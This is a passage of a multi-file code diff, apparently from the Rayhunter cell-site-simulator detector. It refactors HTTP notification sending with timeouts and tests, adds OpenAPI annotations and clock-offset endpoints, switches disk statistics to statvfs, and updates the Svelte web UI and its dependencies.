timeout: DEFAULT_NOTIFICATION_TIMEOUT,
tx,
rx,
}
}
pub fn new_handler(&self) -> mpsc::Sender<Notification> {
@@ -60,6 +79,27 @@ impl NotificationService {
}
}
/// Sends a notification message to the specified URL.
pub async fn send_notification(
http_client: &reqwest::Client,
url: &str,
message: String,
timeout: u64,
) -> Result<(), NotificationError> {
let response = http_client
.post(url)
.body(message)
.timeout(Duration::from_secs(timeout))
.send()
.await?;
if response.status().is_success() {
Ok(())
} else {
Err(NotificationError::HttpError(response.status()))
}
}
pub fn run_notification_worker(
task_tracker: &TaskTracker,
mut notification_service: NotificationService,
@@ -125,24 +165,21 @@ pub fn run_notification_worker(
}
}
match http_client
.post(&url)
.body(notification.message.clone())
.send()
.await
match send_notification(
&http_client,
&url,
notification.message.clone(),
notification_service.timeout,
)
.await
{
Ok(response) => {
if response.status().is_success() {
notification.last_sent = Some(Instant::now());
notification.failed_since_last_success = 0;
notification.needs_sending = false;
} else {
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
Ok(()) => {
notification.last_sent = Some(Instant::now());
notification.failed_since_last_success = 0;
notification.needs_sending = false;
}
Err(e) => {
error!("Failed to send notification to ntfy: {e}");
error!("Failed to send notification: {e}");
notification.failed_since_last_success += 1;
notification.last_attempt = Some(Instant::now());
}
@@ -162,3 +199,246 @@ pub fn run_notification_worker(
}
});
}
#[cfg(test)]
mod tests {
use super::*;
use axum::{Router, body::Bytes, extract::State, routing::post};
use std::sync::Arc;
use tokio::net::TcpListener;
use tokio::sync::Mutex;
#[derive(Clone)]
struct TestServerState {
received_messages: Arc<Mutex<Vec<String>>>,
}
async fn capture_notification(
State(state): State<TestServerState>,
body: Bytes,
) -> &'static str {
let message = String::from_utf8_lossy(&body).to_string();
state.received_messages.lock().await.push(message);
"OK"
}
async fn setup_test_server() -> (Arc<Mutex<Vec<String>>>, String) {
crate::crypto_provider::install_default();
let received_messages = Arc::new(Mutex::new(Vec::new()));
let test_state = TestServerState {
received_messages: received_messages.clone(),
};
let app = Router::new()
.route("/", post(capture_notification))
.with_state(test_state);
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let url = format!("http://{}", addr);
tokio::spawn(async move {
axum::serve(listener, app).await.unwrap();
});
tokio::time::sleep(Duration::from_millis(100)).await;
(received_messages, url)
}
async fn setup_timeout_server(timeout: u64) -> String {
#[cfg(feature = "rustcrypto-tls")]
{
let _ = rustls_rustcrypto::provider().install_default();
}
let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
let addr = listener.local_addr().unwrap();
let url = format!("http://{}", addr);
tokio::spawn(async move {
// Accept the connection but don't respond in the timeout
let (_socket, _addr) = listener.accept().await.unwrap();
tokio::time::sleep(Duration::from_secs(timeout * 2)).await;
});
tokio::time::sleep(Duration::from_millis(100)).await;
url
}
async fn cleanup_worker(sender: mpsc::Sender<Notification>, tracker: TaskTracker) {
drop(sender);
tracker.close();
tracker.wait().await;
}
#[tokio::test]
async fn test_send_notification_times_out() {
let timeout: u64 = 2;
let url = setup_timeout_server(timeout).await;
let http_client = reqwest::Client::new();
let result = send_notification(
&http_client,
&url,
"test warning message".to_string(),
timeout,
)
.await;
match result {
Err(NotificationError::RequestFailed(reqwest_error)) => {
println!("error = {:?}", reqwest_error);
assert!(reqwest_error.is_timeout());
}
_ => assert!(false),
}
}
#[tokio::test]
async fn test_notification_worker_sends_message() {
let (received_messages, url) = setup_test_server().await;
let task_tracker = TaskTracker::new();
let notification_service = NotificationService::new(Some(url));
let notification_sender = notification_service.new_handler();
run_notification_worker(
&task_tracker,
notification_service,
vec![NotificationType::Warning],
);
notification_sender
.send(Notification::new(
NotificationType::Warning,
"test warning message".to_string(),
None,
))
.await
.unwrap();
tokio::time::sleep(Duration::from_secs(3)).await;
let messages = received_messages.lock().await;
assert_eq!(messages.len(), 1);
assert_eq!(messages[0], "test warning message");
drop(messages);
cleanup_worker(notification_sender, task_tracker).await;
}
#[tokio::test]
async fn test_notification_worker_filters_disabled_types() {
let (received_messages, url) = setup_test_server().await;
let task_tracker = TaskTracker::new();
let notification_service = NotificationService::new(Some(url));
let notification_sender = notification_service.new_handler();
run_notification_worker(
&task_tracker,
notification_service,
vec![NotificationType::Warning],
);
notification_sender
.send(Notification::new(
NotificationType::Warning,
"test warning".to_string(),
None,
))
.await
.unwrap();
notification_sender
.send(Notification::new(
NotificationType::LowBattery,
"test low battery".to_string(),
None,
))
.await
.unwrap();
tokio::time::sleep(Duration::from_secs(3)).await;
let messages = received_messages.lock().await;
assert_eq!(messages.len(), 1);
assert_eq!(messages[0], "test warning");
drop(messages);
cleanup_worker(notification_sender, task_tracker).await;
}
#[tokio::test]
async fn test_notification_worker_sends_enabled_types() {
let (received_messages, url) = setup_test_server().await;
let task_tracker = TaskTracker::new();
let notification_service = NotificationService::new(Some(url));
let notification_sender = notification_service.new_handler();
run_notification_worker(
&task_tracker,
notification_service,
vec![NotificationType::Warning, NotificationType::LowBattery],
);
notification_sender
.send(Notification::new(
NotificationType::Warning,
"test warning".to_string(),
None,
))
.await
.unwrap();
notification_sender
.send(Notification::new(
NotificationType::LowBattery,
"test low battery".to_string(),
None,
))
.await
.unwrap();
tokio::time::sleep(Duration::from_secs(3)).await;
let messages = received_messages.lock().await;
assert_eq!(messages.len(), 2);
// these are interchangeable, ordering not guaranteed
assert!(messages.contains(&"test warning".to_string()));
assert!(messages.contains(&"test low battery".to_string()));
drop(messages);
cleanup_worker(notification_sender, task_tracker).await;
}
#[tokio::test]
async fn test_notification_worker_with_no_url() {
let task_tracker = TaskTracker::new();
let notification_service = NotificationService::new(None);
let notification_sender = notification_service.new_handler();
run_notification_worker(
&task_tracker,
notification_service,
vec![NotificationType::Warning],
);
notification_sender
.send(Notification::new(
NotificationType::Warning,
"test warning".to_string(),
None,
))
.await
.unwrap();
tokio::time::sleep(Duration::from_millis(500)).await;
cleanup_worker(notification_sender, task_tracker).await;
}
}

View File

@@ -1,4 +1,4 @@
use crate::ServerState;
use crate::server::ServerState;
use anyhow::Error;
use axum::body::Body;
@@ -18,6 +18,21 @@ use tokio_util::io::ReaderStream;
// Streams a pcap file chunk-by-chunk to the client by reading the QMDL data
// written so far. This is done by spawning a thread which streams chunks of
// pcap data to a channel that's piped to the client.
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/pcap/{name}",
tag = "Recordings",
responses(
(status = StatusCode::OK, description = "PCAP conversion successful", content_type = "application/vnd.tcpdump.pcap"),
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty")
),
params(
("name" = String, Path, description = "QMDL filename to convert and download")
),
summary = "Download a PCAP file",
description = "Stream a PCAP file to a client in chunks by converting the QMDL data for file {name} written so far."
))]
pub async fn get_pcap(
State(state): State<Arc<ServerState>>,
Path(mut qmdl_name): Path<String>,

View File

@@ -45,20 +45,33 @@ pub struct Manifest {
pub entries: Vec<ManifestEntry>,
}
/// The structure of an entry in the QMDL manifest table
#[derive(Deserialize, Serialize, Clone, PartialEq, Debug)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct ManifestEntry {
/// The name of the entry
pub name: String,
/// The system time when recording began
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
pub start_time: DateTime<Local>,
/// The system time when the last message was recorded to the file
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
pub last_message_time: Option<DateTime<Local>>,
/// The size of the QMDL file in bytes
pub qmdl_size_bytes: usize,
/// The rayhunter daemon version which generated the file
pub rayhunter_version: Option<String>,
/// The OS which created the file
pub system_os: Option<String>,
/// The architecture on which the OS was running
pub arch: Option<String>,
#[serde(default)]
pub stop_reason: Option<String>,
}
impl ManifestEntry {
fn new() -> Self {
let now = Local::now();
let now = rayhunter::clock::get_adjusted_now();
let metadata = RuntimeMetadata::new();
ManifestEntry {
name: format!("{}", now.timestamp()),
@@ -68,6 +81,7 @@ impl ManifestEntry {
rayhunter_version: Some(metadata.rayhunter_version),
system_os: Some(metadata.system_os),
arch: Some(metadata.arch),
stop_reason: None,
}
}
@@ -197,11 +211,12 @@ impl RecordingStore {
rayhunter_version: None,
system_os: None,
arch: None,
stop_reason: None,
});
}
// sort chronologically
manifest_entries.sort_by(|a, b| a.start_time.cmp(&b.start_time));
manifest_entries.sort_by_key(|a| a.start_time);
let mut store = RecordingStore {
path: path.as_ref().to_path_buf(),
@@ -300,7 +315,8 @@ impl RecordingStore {
size_bytes: usize,
) -> Result<(), RecordingStoreError> {
self.manifest.entries[entry_index].qmdl_size_bytes = size_bytes;
self.manifest.entries[entry_index].last_message_time = Some(Local::now());
self.manifest.entries[entry_index].last_message_time =
Some(rayhunter::clock::get_adjusted_now());
self.write_manifest().await
}
@@ -341,6 +357,17 @@ impl RecordingStore {
Some((entry_index, &self.manifest.entries[entry_index]))
}
pub async fn set_current_stop_reason(
&mut self,
reason: String,
) -> Result<(), RecordingStoreError> {
if let Some(idx) = self.current_entry {
self.manifest.entries[idx].stop_reason = Some(reason);
self.write_manifest().await?;
}
Ok(())
}
pub fn is_current_entry(&self, name: &str) -> bool {
match self.current_entry {
Some(idx) => match self.manifest.entries.get(idx) {

View File

@@ -9,7 +9,9 @@ use axum::extract::State;
use axum::http::header::{self, CONTENT_LENGTH, CONTENT_TYPE};
use axum::http::{HeaderValue, StatusCode};
use axum::response::{IntoResponse, Response};
use chrono::{DateTime, Local};
use log::{error, warn};
use serde::{Deserialize, Serialize};
use std::sync::Arc;
use tokio::fs::write;
use tokio::io::{AsyncReadExt, copy, duplex};
@@ -19,10 +21,11 @@ use tokio_util::compat::FuturesAsyncWriteCompatExt;
use tokio_util::io::ReaderStream;
use tokio_util::sync::CancellationToken;
use crate::DiagDeviceCtrlMessage;
use crate::analysis::{AnalysisCtrlMessage, AnalysisStatus};
use crate::config::Config;
use crate::diag::DiagDeviceCtrlMessage;
use crate::display::DisplayState;
use crate::notifications::DEFAULT_NOTIFICATION_TIMEOUT;
use crate::pcap::generate_pcap_data;
use crate::qmdl_store::RecordingStore;
@@ -37,6 +40,21 @@ pub struct ServerState {
pub ui_update_sender: Option<Sender<DisplayState>>,
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/qmdl/{name}",
tag = "Recordings",
responses(
(status = StatusCode::OK, description = "QMDL download successful", content_type = "application/octet-stream"),
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
),
params(
("name" = String, Path, description = "QMDL filename to convert and download")
),
summary = "Download a QMDL file",
description = "Stream the QMDL file {name} to the client."
))]
pub async fn get_qmdl(
State(state): State<Arc<ServerState>>,
Path(qmdl_name): Path<String>,
@@ -104,12 +122,38 @@ pub async fn serve_static(
}
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/config",
tag = "Configuration",
responses(
(status = StatusCode::OK, description = "Success", body = Config)
),
summary = "Get config",
description = "Show the running configuration for Rayhunter."
))]
pub async fn get_config(
State(state): State<Arc<ServerState>>,
) -> Result<Json<Config>, (StatusCode, String)> {
Ok(Json(state.config.clone()))
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/config",
tag = "Configuration",
request_body(
content = Option<[Config]>,
description = "Any or all configuration elements from the valid config schema to be altered may be passed. Invalid keys will be discarded. Invalid values or value types will return an error."
),
responses(
(status = StatusCode::ACCEPTED, description = "Success"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to parse or write config file"),
(status = 422, description = "Failed to deserialize JSON body")
),
summary = "Set config",
description = "Write a new configuration for Rayhunter and trigger a restart."
))]
pub async fn set_config(
State(state): State<Arc<ServerState>>,
Json(config): Json<Config>,
@@ -136,6 +180,135 @@ pub async fn set_config(
))
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/test-notification",
tag = "Configuration",
responses(
(status = StatusCode::OK, description = "Success"),
(status = StatusCode::BAD_REQUEST, description = "No notification URL set"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Failed to send HTTP request. Ensure your device can reach the internet.")
),
summary = "Test ntfy notification",
description = "Send a test notification to the ntfy_url in the running configuration for Rayhunter."
))]
pub async fn test_notification(
State(state): State<Arc<ServerState>>,
) -> Result<(StatusCode, String), (StatusCode, String)> {
let url = state.config.ntfy_url.as_ref().ok_or((
StatusCode::BAD_REQUEST,
"No notification URL configured".to_string(),
))?;
if url.is_empty() {
return Err((
StatusCode::BAD_REQUEST,
"Notification URL is empty".to_string(),
));
}
let http_client = reqwest::Client::new();
let message = "Test notification from Rayhunter".to_string();
crate::notifications::send_notification(
&http_client,
url,
message,
DEFAULT_NOTIFICATION_TIMEOUT,
)
.await
.map(|()| {
(
StatusCode::OK,
"Test notification sent successfully".to_string(),
)
})
.map_err(|e| {
(
StatusCode::INTERNAL_SERVER_ERROR,
format!("Failed to send test notification: {e}"),
)
})
}
/// Response for GET /api/time
#[derive(Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct TimeResponse {
/// The raw system time (without clock offset)
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
pub system_time: DateTime<Local>,
/// The adjusted time (system time + offset)
#[cfg_attr(feature = "apidocs", schema(value_type = String))]
pub adjusted_time: DateTime<Local>,
/// The current offset in seconds
pub offset_seconds: i64,
}
/// Request for POST /api/time-offset
#[derive(Deserialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct SetTimeOffsetRequest {
/// The offset to set, in seconds
pub offset_seconds: i64,
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/time",
tag = "Configuration",
responses(
(status = StatusCode::OK, description = "Success", body = TimeResponse)
),
summary = "Get time",
description = "Get the current time and offset (in seconds) of the device."
))]
pub async fn get_time() -> Json<TimeResponse> {
let system_time = Local::now();
let adjusted_time = rayhunter::clock::get_adjusted_now();
let offset_seconds = adjusted_time
.signed_duration_since(system_time)
.num_seconds();
Json(TimeResponse {
system_time,
adjusted_time,
offset_seconds,
})
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/time-offset",
tag = "Configuration",
request_body(
content = SetTimeOffsetRequest
),
responses(
(status = StatusCode::OK, description = "Success", body = TimeResponse)
),
summary = "Set time offset",
description = "Set the difference (in seconds) between the system time and the adjusted time for Rayhunter."
))]
pub async fn set_time_offset(Json(req): Json<SetTimeOffsetRequest>) -> StatusCode {
rayhunter::clock::set_offset(chrono::TimeDelta::seconds(req.offset_seconds));
StatusCode::OK
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/zip/{name}",
tag = "Recordings",
responses(
(status = StatusCode::OK, description = "ZIP download successful. It is possible that if the PCAP fails to convert, the same status will be returned, but the file will contain only the QMDL file.", content_type = "application/zip"),
(status = StatusCode::NOT_FOUND, description = "Could not find file {name}"),
(status = StatusCode::SERVICE_UNAVAILABLE, description = "QMDL file is empty, or error opening file")
),
params(
("name" = String, Path, description = "QMDL filename to convert and download")
),
summary = "Download a ZIP file",
description = "Stream a ZIP file to the client which contains the QMDL file {name} and a PCAP generated from the same file."
))]
pub async fn get_zip(
State(state): State<Arc<ServerState>>,
Path(entry_name): Path<String>,
@@ -227,6 +400,21 @@ pub async fn get_zip(
Ok((headers, body).into_response())
}
#[cfg_attr(feature = "apidocs", utoipa::path(
post,
path = "/api/debug/display-state",
tag = "Configuration",
request_body(
content = DisplayState
),
responses(
(status = StatusCode::OK, description = "Display state updated successfully"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error sending update to the display"),
(status = StatusCode::SERVICE_UNAVAILABLE, description = "Display system not available")
),
summary = "Set display state",
description = "Change the display state (color bar or otherwise) of the device for debugging purposes."
))]
pub async fn debug_set_display_state(
State(state): State<Arc<ServerState>>,
Json(display_state): Json<DisplayState>,

View File

@@ -1,3 +1,4 @@
use std::ffi::CString;
use std::sync::Arc;
use crate::battery::get_battery_status;
@@ -13,7 +14,9 @@ use rayhunter::{Device, util::RuntimeMetadata};
use serde::Serialize;
use tokio::process::Command;
/// Structure of device system statistics
#[derive(Debug, Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct SystemStats {
pub disk_stats: DiskStats,
pub memory_stats: MemoryStats,
@@ -25,7 +28,7 @@ pub struct SystemStats {
impl SystemStats {
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
Ok(Self {
disk_stats: DiskStats::new(qmdl_path, device).await?,
disk_stats: DiskStats::new(qmdl_path)?,
memory_stats: MemoryStats::new(device).await?,
runtime_metadata: RuntimeMetadata::new(),
battery_status: match get_battery_status(device).await {
@@ -40,49 +43,72 @@ impl SystemStats {
}
}
/// Device storage information
#[derive(Debug, Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct DiskStats {
/// The partition to which the daemon is installed
partition: String,
/// The total disk size of the partition
total_size: String,
/// Total used size of the partition
used_size: String,
/// Remaining free space of the partition
available_size: String,
/// Disk usage displayed as percentage
used_percent: String,
/// The root folder to which the partition is mounted
mounted_on: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub available_bytes: Option<u64>,
}
impl DiskStats {
// runs "df -h <qmdl_path>" to get storage statistics for the partition containing
// the QMDL file.
pub async fn new(qmdl_path: &str, device: &Device) -> Result<Self, String> {
// Uz801 needs to be told to use the busybox df specifically
let mut df_cmd: Command;
if matches!(device, Device::Uz801) {
df_cmd = Command::new("busybox");
df_cmd.arg("df");
} else {
df_cmd = Command::new("df");
#[allow(clippy::unnecessary_cast)] // c_ulong is u32 on ARM, u64 on macOS
pub fn new(qmdl_path: &str) -> Result<Self, String> {
let c_path =
CString::new(qmdl_path).map_err(|e| format!("invalid path {qmdl_path}: {e}"))?;
let mut stat: libc::statvfs = unsafe { std::mem::zeroed() };
if unsafe { libc::statvfs(c_path.as_ptr(), &mut stat) } != 0 {
return Err(format!(
"statvfs({qmdl_path}) failed: {}",
std::io::Error::last_os_error()
));
}
df_cmd.arg("-h");
df_cmd.arg(qmdl_path);
let stdout = get_cmd_output(df_cmd).await?;
// Handle standard df -h format
let mut parts = stdout.split_whitespace().skip(7);
let block_size = stat.f_frsize as u64;
let total_kb = (stat.f_blocks as u64 * block_size / 1024) as usize;
let free_kb = (stat.f_bfree as u64 * block_size / 1024) as usize;
let available_kb = (stat.f_bavail as u64 * block_size / 1024) as usize;
let used_kb = total_kb.saturating_sub(free_kb);
let used_percent = format!(
"{}%",
((stat.f_blocks - stat.f_bfree) * 100)
.checked_div(stat.f_blocks)
.unwrap_or(0)
);
Ok(Self {
partition: parts.next().ok_or("error parsing df output")?.to_string(),
total_size: parts.next().ok_or("error parsing df output")?.to_string(),
used_size: parts.next().ok_or("error parsing df output")?.to_string(),
available_size: parts.next().ok_or("error parsing df output")?.to_string(),
used_percent: parts.next().ok_or("error parsing df output")?.to_string(),
mounted_on: parts.next().ok_or("error parsing df output")?.to_string(),
partition: qmdl_path.to_string(),
total_size: humanize_kb(total_kb),
used_size: humanize_kb(used_kb),
available_size: humanize_kb(available_kb),
used_percent,
mounted_on: qmdl_path.to_string(),
available_bytes: Some(stat.f_bavail as u64 * block_size),
})
}
}
/// Device memory information
#[derive(Debug, Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct MemoryStats {
/// The total memory available on the device
total: String,
/// The currently used memory
used: String,
/// Remaining free memory
free: String,
}
@@ -135,6 +161,17 @@ fn humanize_kb(kb: usize) -> String {
format!("{:.1}M", kb as f64 / 1024.0)
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/system-stats",
tag = "Statistics",
responses(
(status = StatusCode::OK, description = "Success", body = SystemStats),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Error collecting statistics")
),
summary = "Get system info",
description = "Display system/device statistics."
))]
pub async fn get_system_stats(
State(state): State<Arc<ServerState>>,
) -> Result<Json<SystemStats>, (StatusCode, String)> {
@@ -151,12 +188,26 @@ pub async fn get_system_stats(
}
}
/// QMDL manifest information
#[derive(Serialize)]
#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
pub struct ManifestStats {
/// A vector containing the names of the QMDL files
pub entries: Vec<ManifestEntry>,
/// The currently open QMDL file
pub current_entry: Option<ManifestEntry>,
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/qmdl-manifest",
tag = "Statistics",
responses(
(status = StatusCode::OK, description = "Success", body = ManifestStats)
),
summary = "QMDL Manifest",
description = "List QMDL files available on the device and some of their basic statistics."
))]
pub async fn get_qmdl_manifest(
State(state): State<Arc<ServerState>>,
) -> Result<Json<ManifestStats>, (StatusCode, String)> {
@@ -169,6 +220,17 @@ pub async fn get_qmdl_manifest(
}))
}
#[cfg_attr(feature = "apidocs", utoipa::path(
get,
path = "/api/log",
tag = "Statistics",
responses(
(status = StatusCode::OK, description = "Success", content_type = "text/plain"),
(status = StatusCode::INTERNAL_SERVER_ERROR, description = "Could not read /data/rayhunter/rayhunter.log file")
),
summary = "Display log",
description = "Download the current device log in UTF-8 plaintext."
))]
pub async fn get_log() -> Result<String, (StatusCode, String)> {
tokio::fs::read_to_string("/data/rayhunter/rayhunter.log")
.await

View File

@@ -37,6 +37,17 @@ export default ts.config(
{ argsIgnorePattern: '^_', varsIgnorePattern: '^_' },
],
'@typescript-eslint/no-explicit-any': 'off',
'@typescript-eslint/naming-convention': [
'error',
{
selector: 'function',
format: ['snake_case'],
},
{
selector: 'method',
format: ['snake_case'],
},
],
},
}
);

File diff suppressed because it is too large Load Diff

View File

@@ -15,25 +15,25 @@
"fix": "eslint --fix ."
},
"devDependencies": {
"@sveltejs/adapter-auto": "^3.0.0",
"@sveltejs/adapter-auto": "^7.0.1",
"@sveltejs/adapter-static": "^3.0.5",
"@sveltejs/kit": "^2.13.0",
"@sveltejs/vite-plugin-svelte": "^6.2.1",
"@sveltejs/kit": "^2.57.1",
"@sveltejs/vite-plugin-svelte": "^7.0.0",
"@types/eslint": "^9.6.0",
"@types/node": "^24.7.0",
"autoprefixer": "^10.4.20",
"eslint": "^9.7.0",
"eslint-config-prettier": "^9.1.0",
"eslint-plugin-svelte": "^2.36.0",
"globals": "^15.0.0",
"prettier": "^3.3.2",
"prettier-plugin-svelte": "^3.2.6",
"svelte": "^5.0.0",
"svelte-check": "^4.0.0",
"tailwindcss": "^3.4.9",
"typescript": "^5.0.0",
"typescript-eslint": "^8.0.0",
"vite": "^7.1.11",
"vitest": "^3.2.4"
"@types/node": "^25.6.0",
"autoprefixer": "^10.5.0",
"eslint": "^10.2.1",
"eslint-config-prettier": "^10.1.8",
"eslint-plugin-svelte": "^3.17.0",
"globals": "^17.5.0",
"prettier": "^3.8.3",
"prettier-plugin-svelte": "^3.5.1",
"svelte": "^5.55.4",
"svelte-check": "^4.4.6",
"tailwindcss": "^4.2.2",
"typescript": "^6.0.3",
"typescript-eslint": "^8.58.2",
"vite": "^8.0.9",
"vitest": "^4.1.4"
}
}

View File

@@ -11,7 +11,7 @@
dateStyle: 'short',
});
const analyzers = report.metadata.analyzers;
const analyzers = $derived(report.metadata.analyzers);
const skipped_messages: Map<string, number> = $derived.by(() => {
let map = new Map();
@@ -78,7 +78,8 @@
<p class="text-lg underline">Unparsed Messages</p>
<p>
These are due to a limitation or bug in Rayhunter's parser, and aren't usually a
problem.
problem. We'll not accept bug reports about them unless something else is going wrong
(such as false-positives or definite false-negatives)
</p>
<div class="overflow-x-auto">
<table class="table-auto text-left">

View File

@@ -22,10 +22,26 @@
<p>Error getting analysis report: {entry.analysis_report}</p>
{:else}
{@const metadata: ReportMetadata = entry.analysis_report.metadata}
{@const numWarnings: number = entry.get_num_warnings() || 0}
<div class="flex flex-col gap-2">
{#if !current}
<div class="flex flex-row justify-end items-center">
<ReAnalyzeButton {entry} {manager} />
{#if !!numWarnings || !current}
<div class="flex flex-row justify-between items-center">
{#if !!numWarnings}
<div
class="text-red-700 border-red-500 border rounded-lg text-blue-600 px-2 py-1 mr-12"
>
Your Rayhunter device raised {`${numWarnings}`} warning{`${
numWarnings > 1 ? 's' : ''
}`}!
<a
href="https://efforg.github.io/rayhunter/faq.html#red"
class="text-blue-600 underline">Read the FAQ</a
> to learn what you can do about it
</div>
{/if}
{#if !current}
<ReAnalyzeButton {entry} {manager} />
{/if}
</div>
{/if}
{#if entry.analysis_report.rows.length > 0}

View File

@@ -12,6 +12,7 @@
onclick,
ariaLabel,
errorMessage,
jsonBody,
}: {
url: string;
method?: string;
@@ -23,6 +24,7 @@
onclick?: () => void | Promise<void>;
ariaLabel?: string;
errorMessage?: string;
jsonBody?: unknown;
} = $props();
let is_requesting = $state(false);
@@ -43,7 +45,7 @@
},
};
async function handleClick() {
async function handle_click() {
if (is_disabled) return;
is_requesting = true;
@@ -51,7 +53,8 @@
await user_action_req(
method,
url,
errorMessage ? errorMessage : 'Error performing action'
errorMessage ? errorMessage : 'Error performing action',
jsonBody
);
if (onclick) {
await onclick();
@@ -71,7 +74,7 @@
<button
class="text-white font-bold py-2 px-2 sm:px-4 rounded-md flex flex-row items-center gap-1 {buttonClasses}"
onclick={handleClick}
onclick={handle_click}
disabled={is_disabled}
aria-label={ariaLabel || label}
>

View File

@@ -0,0 +1,121 @@
<script lang="ts">
import { get_daemon_time } from '$lib/utils.svelte';
import ApiRequestButton from './ApiRequestButton.svelte';
let show_alert = $state(false);
let device_system_time = $state('');
let device_adjusted_time = $state('');
let browser_time = $state('');
let has_offset = $state(false);
let computed_offset = $state(0);
let dismissed = $state(false);
let check_completed = $state(false);
const DRIFT_THRESHOLD_SECONDS = 30;
function format_time(date: Date): string {
return date.toLocaleString();
}
async function check_clock_drift() {
if (check_completed) return;
try {
const daemon_time_response = await get_daemon_time();
const browser_now = new Date();
const daemon_system_ms = new Date(daemon_time_response.system_time).getTime();
const device_adjusted_ms = new Date(daemon_time_response.adjusted_time).getTime();
const drift_seconds = Math.round((browser_now.getTime() - device_adjusted_ms) / 1000);
if (Math.abs(drift_seconds) > DRIFT_THRESHOLD_SECONDS && !dismissed) {
device_system_time = format_time(new Date(daemon_time_response.system_time));
device_adjusted_time = format_time(new Date(daemon_time_response.adjusted_time));
browser_time = format_time(browser_now);
has_offset = daemon_time_response.offset_seconds !== 0;
// Calculate offset needed: browser_time - daemon_system_time
computed_offset = Math.round((browser_now.getTime() - daemon_system_ms) / 1000);
show_alert = true;
}
} catch (err) {
console.error('Failed to check clock drift:', err);
}
check_completed = true;
}
function dismiss() {
show_alert = false;
dismissed = true;
}
// Check clock drift on component mount
$effect(() => {
check_clock_drift();
});
</script>
{#if show_alert}
<div
class="bg-yellow-100 border-yellow-400 drop-shadow p-4 flex flex-col gap-2 border rounded-md"
>
<span class="text-xl font-bold flex flex-row items-center gap-2 text-yellow-700">
<svg
class="w-6 h-6 text-yellow-600"
aria-hidden="true"
xmlns="http://www.w3.org/2000/svg"
width="24"
height="24"
fill="currentColor"
viewBox="0 0 24 24"
>
<path
fill-rule="evenodd"
d="M2 12C2 6.477 6.477 2 12 2s10 4.477 10 10-4.477 10-10 10S2 17.523 2 12Zm11-4a1 1 0 1 0-2 0v4a1 1 0 0 0 .293.707l3 3a1 1 0 0 0 1.414-1.414L13 11.586V8Z"
clip-rule="evenodd"
/>
</svg>
Clock Mismatch Detected
</span>
<p>
Rayhunter's clock doesn't match your browser's, and may be incorrect. This can happen if
Rayhunter is unable to get the correct time from the internet. Consider synchronizing
your browser's clock with the button below, or using another SIM card for better
results.
</p>
<table class="w-fit">
<tbody>
<tr>
<td class="pr-2">Rayhunter clock (system):</td>
<td class="font-mono">{device_system_time}</td>
</tr>
{#if has_offset}
<tr>
<td class="pr-2">Rayhunter clock (adjusted):</td>
<td class="font-mono">{device_adjusted_time}</td>
</tr>
{/if}
<tr>
<td class="pr-2">Browser clock:</td>
<td class="font-mono">{browser_time}</td>
</tr>
</tbody>
</table>
<p>Copy browser clock to device?</p>
<div class="flex flex-row gap-2 justify-end">
<button
class="font-medium py-2 px-4 rounded-md border border-gray-400 hover:bg-yellow-200"
onclick={dismiss}
>
Dismiss
</button>
<ApiRequestButton
url="/api/time-offset"
label="Sync Clock"
loadingLabel="Syncing..."
variant="green"
jsonBody={{ offset_seconds: computed_offset }}
onclick={dismiss}
errorMessage="Error syncing clock"
/>
</div>
</div>
{/if}

View File

@@ -1,15 +1,19 @@
<script lang="ts">
import { get_config, set_config, type Config } from '../utils.svelte';
import { get_config, set_config, test_notification, type Config } from '../utils.svelte';
import Modal from './Modal.svelte';
let { shown = $bindable() }: { shown: boolean } = $props();
let config = $state<Config | null>(null);
let loading = $state(false);
let saving = $state(false);
let testingNotification = $state(false);
let message = $state('');
let messageType = $state<'success' | 'error' | null>(null);
let showConfig = $state(false);
let testMessage = $state('');
let testMessageType = $state<'success' | 'error' | null>(null);
async function loadConfig() {
async function load_config() {
try {
loading = true;
config = await get_config();
@@ -23,7 +27,7 @@
}
}
async function saveConfig() {
async function save_config() {
if (!config) return;
try {
@@ -40,32 +44,31 @@
}
}
// Load config when first shown
async function send_test_notification() {
try {
testingNotification = true;
testMessage = '';
testMessageType = null;
await test_notification();
testMessage = 'Test notification sent successfully!';
testMessageType = 'success';
} catch (error) {
testMessage = `${error}`;
testMessageType = 'error';
} finally {
testingNotification = false;
}
}
$effect(() => {
if (showConfig && !config) {
loadConfig();
if (shown && !config) {
load_config();
}
});
</script>
<div class="bg-white rounded-lg shadow-md p-6 m-4">
<button
class="w-full flex justify-between items-center text-xl font-bold mb-4 text-rayhunter-dark-blue hover:text-rayhunter-blue"
